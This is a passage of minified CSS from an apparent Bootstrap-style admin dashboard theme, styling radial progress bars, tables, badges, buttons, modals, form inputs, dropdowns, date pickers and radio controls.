#d6d6d6)}.radial-bar-purple.radial-bar-75{background-image:linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-80{background-image:linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-85{background-image:linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-90{background-image:linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-95{background-image:linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-100{background-image:linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-50{background-image:linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-55{background-image:linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-60{background-image:linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-65{background-image:linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-70{background-image:linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-75{background-image:linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-80{background-image:linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-85{background-image:linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-90{background-image:linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-95{background-image:linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-100{background-image:linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-lg{width:100px;height:100px;font-size:20px}.radial-bar-lg:after,.radial-bar-lg>img{width:70px;height:70px;margin-left:15px;margin-top:15px;line-height:70px}.radial-bar-sm{width:50px;height:50px;font-size:12px}.radial-bar-sm:after,.radial-bar-sm>img{width:35px;height:35px;margin-left:7.5px;margin-top:7.5px;line-height:35px}.radial-bar-xs{width:30px;height:30px;font-size:8px}.radial-bar-xs:after,.radial-bar-xs>img{width:20px;height:20px;margin-left:5.5px;margin-top:4.5px;line-height:21px}.radial-bar{background-clip:content-box}.card .card-body .dataTables_wrapper .dataTables_scroll{margin-left:-20px;width:calc(100% + 40px)}.card .card-body .dataTables_wrapper .dataTables_scroll .dataTable{margin-left:0px;width:100%}.card .card-body .dataTables_wrapper .dataTable{margin-left:-20px;width:calc(100% + 40px)}.card .card-body .dataTables_wrapper .form-control{border:none;min-height:30px;background-color:#f4f4f4}.card .card-body .dataTables_wrapper select.form-control{height:30px !important}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link{margin-left:5px;min-width:30px;height:30px;padding:0;text-align:center;line-height:30px;border:none;background-color:#f4f4f4;color:#212121;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link{padding:0 15px}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link{color:#6c757d;background-color:#f4f4f4;cursor:not-allowed}.card .card-table .card-item{border-top:1px solid #ededed}.table thead{background-color:#f6f8fb}.table thead th{font-weight:600;color:#879099;font-size:14px}.table tbody td{vertical-align:middle}.table tbody td .table-user-thumb{width:30px;height:30px;border-radius:50%}.table tbody td .table-actions{text-align:right}.table tbody td .table-actions a{color:#bcc1c6;display:inline-block;margin-left:8px;font-size:16px}.badge{padding:6px 10px;font-size:12px;font-weight:600}.badge.badge-top-left{top:7px;right:10px}.badge.badge-top-left-2{top:40px;right:10px}.badge-primary,.badge-success,.badge-info,.badge-warning,.badge-danger,.badge-inverse,.badge-purple,.badge-pink,.badge-twitter,.badge-facebook,.badge-linkedin,.badge-google,.badge-dribbble,.badge-instagram{color:#fff}.badge-theme{background-color:#ef4153}.badge-aqua{background-color:#3ec5d6}.badge-blue{background-color:#19B5FE}.badge-light-blue{background-color:#89CFF0}.badge-teal{background-color:#008081}.badge-yellow{background-color:#F7CA18}.badge-orange{background-color:#FF8000}.badge-green{background-color:#26C281}.badge-lime{background-color:#cad900}.badge-red{background-color:#F22613}.badge-fuchsia{background-color:#df2de3}.badge-navy{background-color:navy}.badge-empty{background:transparent}.badge-primary{background-color:#007bff}.badge-success{background-color:#2dce89}.badge-info{background-color:#11cdef}.badge-warning{background-color:#fb6340}.badge-danger{background-color:#f5365c}.badge-muted{background-color:#6c757d}.badge-inverse{background-color:#4c5667}.badge-purple{background-color:#BF55EC}.badge-pink{background-color:#f76397}.badge-white{background-color:#fff}.btn .badge{padding:2px 6px}.pagination .page-item{padding:5px}.pagination .page-item .page-link{outline:initial !important;box-shadow:none !important;line-height:18px;min-width:30px;text-align:center;height:30px;padding:6px 0px;border:none;background-color:#eaeaea;color:#3e5569;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.pagination .page-item .page-link.first,.pagination .page-item .page-link.last{color:#fff;background-color:#3e5569}.pagination .page-item.active .page-link{background-color:#007bff;color:#fff}.btn{padding:6px 14px;height:30px;font-size:13px;font-weight:600;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.btn i{margin-right:5px}.btn-icon{width:30px;height:30px;padding:0;text-align:center;line-height:32px;font-size:14px;display:inline-block;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.btn-icon i{margin-right:0 !important}.social-btn{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:30px;color:#fff}.social-btn i{margin:0}.btn-primary,.btn-success,.btn-info,.btn-warning,.btn-danger,.btn-inverse,.btn-purple,.btn-pink,.btn-twitter,.btn-facebook,.btn-linkedin,.btn-google,.btn-dribbble,.btn-instagram{color:#fff}.btn-theme{background:linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%);color:#fff}.btndefault{background-color:#dae6ec;border-color:#dae6ec}.btndefault:focus,.btndefault:hover,.btndefault:active,.btndefault.active{background-color:#dae6ec;border-color:#C2CED4;color:#fff !important}.btn-primary{background-color:#007bff;border:1px solid #007bff}.btn-primary:hover,.btn-primary:focus,.btn-primary.active{background-color:#006fe6;border:1px solid #006fe6;color:#fff !important}.btn-success{background-color:#2dce89;border:1px solid #2dce89}.btn-success:hover,.btn-success:focus,.btn-success.active{background-color:#28b97b;border:1px solid #28b97b;color:#fff !important}.btn-info{background-color:#11cdef;border:1px solid #11cdef}.btn-info:hover,.btn-info:focus,.btn-info.active{background-color:#0fb9d8;border:1px solid #0fb9d8;color:#fff !important}.btn-warning{background-color:#fb6340;border:1px solid #fb6340}.btn-warning:hover,.btn-warning:focus,.btn-warning.active{background-color:#fa4f27;border:1px solid #fa4f27;color:#fff !important}.btn-danger{background-color:#f5365c;border:1px solid #f5365c}.btn-danger:focus,.btn-danger:hover,.btn-danger.active{background-color:#f41e48;border:1px solid #f41e48;color:#fff !important}.btn-inverse{background-color:#4c5667;border:1px solid #4c5667}.btn-inverse:hover,.btn-inverse:focus,.btn-inverse.active{background-color:#414a58;border:1px solid #414a58;color:#fff !important}.btn-purple{background-color:#BF55EC;border:1px solid #BF55EC}.btn-purple:hover,.btn-purple:focus,.btn-purple.active{background-color:#b63ee9;border:1px solid #b63ee9;color:#fff !important}.btn-pink{background-color:#f76397;border:1px solid #f76397}.btn-pink:hover,.btn-pink:focus,.btn-pink.active{background-color:#f64b87;border:1px solid #f64b87;color:#fff !important}.btn-facebook{background:#3b579d}.btn-twitter{background:#1da1f2}.btn-dribbble{background:#ea4c89}.btn-linkedin{background:#0177b4}.btn-google{background:#dc4a38}.btn-instagram{background:#fb3958}.template-demo .btn{margin-right:10px;margin-bottom:10px}.btn-group .btn{margin:0}.full-window-modal .modal-dialog{position:fixed;width:100%;height:100%;margin:0;max-width:100%;left:0;top:0;bottom:0;display:block}.full-window-modal .modal-dialog .modal-content{height:100vh;border:none;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.full-window-modal .modal-dialog .modal-content .modal-body{height:calc(100vh - 50px);overflow-x:auto}.full-window-modal .modal-dialog .modal-content .modal-footer{background-color:#393a3d;padding:15px 24px;padding-top:15px !important}.modal-open .apps-modal{overflow:hidden}.modal-open .apps-modal .close{position:absolute;top:20px;right:20px;text-shadow:none;z-index:9}.modal-open .apps-modal .modal-dialog{width:100%;max-width:100%;border-radius:0;margin:0}.modal-open .apps-modal .modal-dialog .modal-content{border:none;border-radius:0;min-height:100vh;background-color:#fff}.modal-open .apps-modal .modal-dialog .modal-content .quick-search{position:absolute;width:100%;top:17px;padding:0 50px;z-index:9}.modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap{position:relative}.modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i{position:absolute;right:5px;top:0;width:30px;height:35px;border-radius:50%;line-height:35px;text-align:center}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-flow:row wrap;-moz-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;width:100%}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item{width:130px;height:100px;margin:10px;color:#ccc;text-align:center;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a{display:inline-block}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i{font-size:40px;color:#3e5569;display:inline-block;margin-bottom:10px;-moz-transition:all 0.3s ease 0s;-o-transition:all 0.3s ease 0s;-webkit-transition:all 0.3s ease 0s;transition:all 0.3s ease 0s}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span{display:block;font-size:14px;color:#3e5569}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i{color:#ef4153}.modal-open .apps-modal.fade .modal-dialog{overflow:hidden;-moz-transform:translate(0, 0) scale(1.2);-o-transform:translate(0, 0) scale(1.2);-ms-transform:translate(0, 0) scale(1.2);-webkit-transform:translate(0, 0) scale(1.2);transform:translate(0, 0) scale(1.2)}.modal-open .apps-modal.fade.show .modal-dialog{-moz-transform:translate(0, 0) scale(1);-o-transform:translate(0, 0) scale(1);-ms-transform:translate(0, 0) scale(1);-webkit-transform:translate(0, 0) scale(1);transform:translate(0, 0) scale(1)}.form-group{margin-bottom:1.25em}.form-group .form-control-lg{font-size:1.25em}.form-group .form-control-round{border-radius:50px}.form-group .form-control-static:focus{outline:none}.form-control{height:auto;min-height:35px;border:1px solid #eaeaea;padding:0 10px;background-color:#fff;font-size:13px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.form-control.placeholder{color:#999999}.form-control:-moz-placeholder{color:#999999}.form-control::-moz-placeholder{color:#999999}.form-control:-ms-input-placeholder{color:#999999}.form-control::-webkit-input-placeholder{color:#999999}.form-control:focus{border-color:#e2dfdf;-webkit-box-shadow:none;box-shadow:none}.form-control.form-control-normal{font-weight:400}.form-control.form-control-bold{font-weight:700}.form-control.form-control-capitalize{text-transform:capitalize}.form-control.form-control-uppercase{text-transform:uppercase}.form-control.form-control-lowercase{text-transform:lowercase}.form-control.form-control-variant{font-variant:small-caps}.form-control.form-control-left{text-align:left}.form-control.form-control-center{text-align:center}.form-control.form-control-right{text-align:right}.form-control.form-control-rtl{direction:rtl}.form-control:disabled{cursor:not-allowed;opacity:0.5}select.form-control{-webkit-appearance:none;-moz-appearance:none;appearance:none;padding-right:20px;background-image:url("../img/down-arrow.svg");background-position:center right 15px;background-repeat:no-repeat;-webkit-background-size:10px;background-size:10px;height:35px !important}textarea.form-control{padding:10px 15px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.custom-radio .custom-control-label{line-height:24px}.custom-checkbox .custom-control-label{line-height:24px}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:none;content:"\e83f";line-height:16px;font-family:'iconkit';color:#fff}.custom-control-label{text-align:center}.input-group .input-group-prepend .input-group-text{border-top-left-radius:4px;border-bottom-left-radius:4px;background-color:#eaeaea;border-color:#eaeaea;padding-left:15px;height:35px;font-size:14px}.input-group .input-group-prepend .btn{height:35px;border-top-left-radius:4px;border-bottom-left-radius:4px}.input-group .input-group-append .input-group-text{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#eaeaea;border-color:#eaeaea;padding-right:15px;height:35px;font-size:14px}.input-group .input-group-append .btn{height:35px;border-top-right-radius:4px;border-bottom-right-radius:4px}.form-group .file-upload-default{visibility:hidden;position:absolute}.form-group .file-upload-info{background:transparent}.select2.select2-container--default .select2-selection--single{border-color:#eaeaea;height:35px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.select2.select2-container--default .select2-selection--single .select2-selection__rendered{line-height:35px;padding-left:15px;padding-right:30px}.select2.select2-container--default .select2-selection--single .select2-selection__arrow{height:33px;right:8px}.select2.select2-container--default .select2-selection--multiple{border-color:#eaeaea}.select2.select2-container--default .select2-selection--multiple .select2-selection__rendered{margin-top:1px}.select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice{border:none;padding:1px 5px}.select2.select2-container--default.select2-container--focus .select2-selection--multiple{border-color:#8e8e8e}.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:4px;border-bottom-right-radius:4px}.select2.select2-container .select2-selection--multiple{min-height:35px}.select2-container--default .select2-dropdown{background-color:#fff;border:none;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08)}.select2-container--default .select2-dropdown .select2-search--dropdown{padding:5px}.select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field{height:30px;border:none;background-color:#eaeaea;padding:5px 10px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.select2-container--default .select2-dropdown .select2-results .select2-results__options{padding:5px}.select2-results__option{background-color:#fff;padding:8px 15px;border-radius:4px;line-height:14px}.bootstrap-datetimepicker-widget .table thead{background-color:transparent}.bootstrap-datetimepicker-widget .table thead tr th{color:#212121;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.bootstrap-datetimepicker-widget .table tr td,.bootstrap-datetimepicker-widget .table tr th{text-align:center;width:35px;height:35px;border-radius:50%;border:none;line-height:35px;position:relative;z-index:1}.bootstrap-datetimepicker-widget .table tr td.today,.bootstrap-datetimepicker-widget .table tr td.active{color:#fff;position:relative;z-index:1;background-color:transparent;text-shadow:none}.bootstrap-datetimepicker-widget .table tr td.today:before,.bootstrap-datetimepicker-widget .table tr td.today::before,.bootstrap-datetimepicker-widget .table tr td.active:before,.bootstrap-datetimepicker-widget .table tr td.active::before{width:30px;height:30px;border-radius:50%;border:none;background-color:#4a5361;position:absolute;z-index:-1;display:block;margin:auto;content:'';top:6px;left:0px;right:0px;bottom:auto;-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1)}.bootstrap-datetimepicker-widget .table tr td.active:hover:before,.bootstrap-datetimepicker-widget .table tr td.active:hover::before{background-color:#4a5361 !important}.bootstrap-datetimepicker-widget .table tr td.today:before,.bootstrap-datetimepicker-widget .table tr td.today::before{background-color:#ef4153}.bootstrap-datetimepicker-widget .table tr td.day:hover,.bootstrap-datetimepicker-widget .table tr td.hour:hover,.bootstrap-datetimepicker-widget .table tr td.minute:hover,.bootstrap-datetimepicker-widget .table tr td.second:hover{background-color:transparent}.bootstrap-datetimepicker-widget .table tr td:before,.bootstrap-datetimepicker-widget .table tr td::before{width:30px;height:30px;border-radius:50%;border:none;background-color:transparent;position:absolute;z-index:-1;display:block;margin:auto;content:'';top:6px;left:0px;right:0px;bottom:auto;-moz-transform:scale(0);-o-transform:scale(0);-ms-transform:scale(0);-webkit-transform:scale(0);transform:scale(0);-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.bootstrap-datetimepicker-widget .table tr td:hover:before,.bootstrap-datetimepicker-widget .table tr td:hover::before{background-color:#f4f4f4;-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1)}.bootstrap-datetimepicker-widget .timepicker table td{position:relative;z-index:1;width:35px;height:35px;line-height:35px}.bootstrap-datetimepicker-widget .timepicker table td .btn{height:auto}.bootstrap-datetimepicker-widget .timepicker table td span{width:35px;height:35px;line-height:35px}.bootstrap-datetimepicker-widget.dropdown-menu{min-width:280px}.bootstrap-datetimepicker-widget.dropdown-menu.bottom:before,.bootstrap-datetimepicker-widget.dropdown-menu.bottom::before{border-bottom-color:#fff}.bootstrap-datetimepicker-widget.dropdown-menu.top:before,.bootstrap-datetimepicker-widget.dropdown-menu.top::before{border-top-color:#fff}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td{width:30px;height:30px;line-height:30px}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before{top:4px;left:0px}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before{top:4px;left:0px}.bootstrap-tagsinput{display:block;border:1px solid #eaeaea;min-height:35px;padding:0px 10px;padding-top:4px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.bootstrap-tagsinput .tag{padding:1px 5px;margin-right:2px;margin-bottom:4px;display:inline-block;text-transform:capitalize;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;background-color:#4c5667}.note-editor.note-frame.card{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.input-group{margin-bottom:1.25em}.form-control-primary{border-color:#007bff;color:#007bff}.form-control-primary:focus{border-color:#007bff}.input-group-primary .input-group-append .input-group-text,.input-group-primary .input-group-prepend .input-group-text{background-color:#007bff;border-color:#007bff;color:#fff}.input-group-primary .form-control{border-color:#007bff}.form-control-warning{border-color:#fb6340;color:#fb6340}.form-control-warning:focus{border-color:#fb6340}.input-group-warning .input-group-append .input-group-text,.input-group-warning .input-group-prepend .input-group-text{background-color:#fb6340;border-color:#fb6340;color:#fff}.input-group-warning .form-control{border-color:#fb6340}.form-control-default{border-color:#d6d6d6;color:#d6d6d6}.form-control-default:focus{border-color:#d6d6d6}.input-group-default .input-group-append .input-group-text,.input-group-default .input-group-prepend .input-group-text{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.input-group-default .form-control{border-color:#d6d6d6}.form-control-danger{border-color:#f5365c;color:#f5365c}.form-control-danger:focus{border-color:#f5365c}.input-group-danger .input-group-append .input-group-text,.input-group-danger .input-group-prepend .input-group-text{background-color:#f5365c;border-color:#f5365c;color:#fff}.input-group-danger .form-control{border-color:#f5365c}.form-control-success{border-color:#2dce89;color:#2dce89}.form-control-success:focus{border-color:#2dce89}.input-group-success .input-group-append .input-group-text,.input-group-success .input-group-prepend .input-group-text{background-color:#2dce89;border-color:#2dce89;color:#fff}.input-group-success .form-control{border-color:#2dce89}.form-control-inverse{border-color:#4c5667;color:#4c5667}.form-control-inverse:focus{border-color:#4c5667}.input-group-inverse .input-group-append .input-group-text,.input-group-inverse .input-group-prepend .input-group-text{background-color:#4c5667;border-color:#4c5667;color:#fff}.input-group-inverse .form-control{border-color:#4c5667}.form-control-info{border-color:#11cdef;color:#11cdef}.form-control-info:focus{border-color:#11cdef}.input-group-info .input-group-append .input-group-text,.input-group-info .input-group-prepend .input-group-text{background-color:#11cdef;border-color:#11cdef;color:#fff}.input-group-info .form-control{border-color:#11cdef}.form-txt-primary{color:#007bff}.form-txt-primary:focus{color:#007bff}.form-txt-primary::-moz-placeholder{color:#007bff;opacity:1}.form-txt-primary:-ms-input-placeholder{color:#007bff}.form-txt-primary::-webkit-input-placeholder{color:#007bff}.form-txt-warning{color:#fb6340}.form-txt-warning:focus{color:#fb6340}.form-txt-warning::-moz-placeholder{color:#fb6340;opacity:1}.form-txt-warning:-ms-input-placeholder{color:#fb6340}.form-txt-warning::-webkit-input-placeholder{color:#fb6340}.form-txt-default{color:#d6d6d6}.form-txt-default:focus{color:#d6d6d6}.form-txt-default::-moz-placeholder{color:#d6d6d6;opacity:1}.form-txt-default:-ms-input-placeholder{color:#d6d6d6}.form-txt-default::-webkit-input-placeholder{color:#d6d6d6}.form-txt-danger{color:#f5365c}.form-txt-danger:focus{color:#f5365c}.form-txt-danger::-moz-placeholder{color:#f5365c;opacity:1}.form-txt-danger:-ms-input-placeholder{color:#f5365c}.form-txt-danger::-webkit-input-placeholder{color:#f5365c}.form-txt-success{color:#2dce89}.form-txt-success:focus{color:#2dce89}.form-txt-success::-moz-placeholder{color:#2dce89;opacity:1}.form-txt-success:-ms-input-placeholder{color:#2dce89}.form-txt-success::-webkit-input-placeholder{color:#2dce89}.form-txt-inverse{color:#4c5667}.form-txt-inverse:focus{color:#4c5667}.form-txt-inverse::-moz-placeholder{color:#4c5667;opacity:1}.form-txt-inverse:-ms-input-placeholder{color:#4c5667}.form-txt-inverse::-webkit-input-placeholder{color:#4c5667}.form-txt-info{color:#11cdef}.form-txt-info:focus{color:#11cdef}.form-txt-info::-moz-placeholder{color:#11cdef;opacity:1}.form-txt-info:-ms-input-placeholder{color:#11cdef}.form-txt-info::-webkit-input-placeholder{color:#11cdef}.form-bg-primary{background-color:#007bff;border-color:#007bff;color:#fff}.form-bg-primary:focus{background-color:#007bff;border-color:#007bff;color:#fff}.form-bg-primary::-moz-placeholder{color:#fff;opacity:1}.form-bg-primary:-ms-input-placeholder{color:#fff}.form-bg-primary::-webkit-input-placeholder{color:#fff}.form-bg-warning{background-color:#fb6340;border-color:#fb6340;color:#fff}.form-bg-warning:focus{background-color:#fb6340;border-color:#fb6340;color:#fff}.form-bg-warning::-moz-placeholder{color:#fff;opacity:1}.form-bg-warning:-ms-input-placeholder{color:#fff}.form-bg-warning::-webkit-input-placeholder{color:#fff}.form-bg-default{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.form-bg-default:focus{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.form-bg-default::-moz-placeholder{color:#fff;opacity:1}.form-bg-default:-ms-input-placeholder{color:#fff}.form-bg-default::-webkit-input-placeholder{color:#fff}.form-bg-danger{background-color:#f5365c;border-color:#f5365c;color:#fff}.form-bg-danger:focus{background-color:#f5365c;border-color:#f5365c;color:#fff}.form-bg-danger::-moz-placeholder{color:#fff;opacity:1}.form-bg-danger:-ms-input-placeholder{color:#fff}.form-bg-danger::-webkit-input-placeholder{color:#fff}.form-bg-success{background-color:#2dce89;border-color:#2dce89;color:#fff}.form-bg-success:focus{background-color:#2dce89;border-color:#2dce89;color:#fff}.form-bg-success::-moz-placeholder{color:#fff;opacity:1}.form-bg-success:-ms-input-placeholder{color:#fff}.form-bg-success::-webkit-input-placeholder{color:#fff}.form-bg-inverse{background-color:#4c5667;border-color:#4c5667;color:#fff}.form-bg-inverse:focus{background-color:#4c5667;border-color:#4c5667;color:#fff}.form-bg-inverse::-moz-placeholder{color:#fff;opacity:1}.form-bg-inverse:-ms-input-placeholder{color:#fff}.form-bg-inverse::-webkit-input-placeholder{color:#fff}.form-bg-info{background-color:#11cdef;border-color:#11cdef;color:#fff}.form-bg-info:focus{background-color:#11cdef;border-color:#11cdef;color:#fff}.form-bg-info::-moz-placeholder{color:#fff;opacity:1}.form-bg-info:-ms-input-placeholder{color:#fff}.form-bg-info::-webkit-input-placeholder{color:#fff}.form-radio{position:relative}.form-radio .form-help{position:absolute;width:100%}.form-radio label{position:relative;padding-left:1.5rem;text-align:left;color:#333;display:block;line-height:1.8}.form-radio input{width:auto;opacity:0.00000001;position:absolute;left:0}.radio .helper{position:absolute;top:-0.25rem;left:-0.25rem;cursor:pointer;display:block;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:#999}.radio .helper::after{transform:scale(0);background-color:#007bff;border-color:#007bff}.radio .helper::after,.radio .helper::before{content:'';position:absolute;left:0;top:3px;margin:0.25rem;width:1rem;height:1rem;-webkit-transition:-webkit-transform 0.28s ease;transition:-webkit-transform 0.28s ease;transition:transform 0.28s ease, -webkit-transform 0.28s ease;border-radius:50%;border:0.125rem solid #007bff}.radio label:hover .helper{color:#007bff}.radio input:checked ~ .helper::after{transform:scale(0.5)}.radio input:checked ~ .helper::before{color:#007bff;animation:ripple 0.3s linear forwards}.radio.radiofill input:checked ~ .helper::after{transform:scale(1)}.radio.radiofill .helper::after{background-color:#007bff}.radio.radio-outline input:checked ~ .helper::after{transform:scale(0.6)}.radio.radio-outline .helper::after{background-color:#fff;border:0.225rem solid #007bff}.radio.radio-matrial input ~ .helper::after{background-color:#fff}.radio.radio-matrial input:checked ~ .helper::after{transform:scale(0.5);box-shadow:0 1px 7px -1px rgba(0,0,0,0.72)}.radio.radio-matrial input:checked ~ .helper::before{background-color:#007bff}.radio.radio-disable{opacity:0.7}.radio.radio-disable 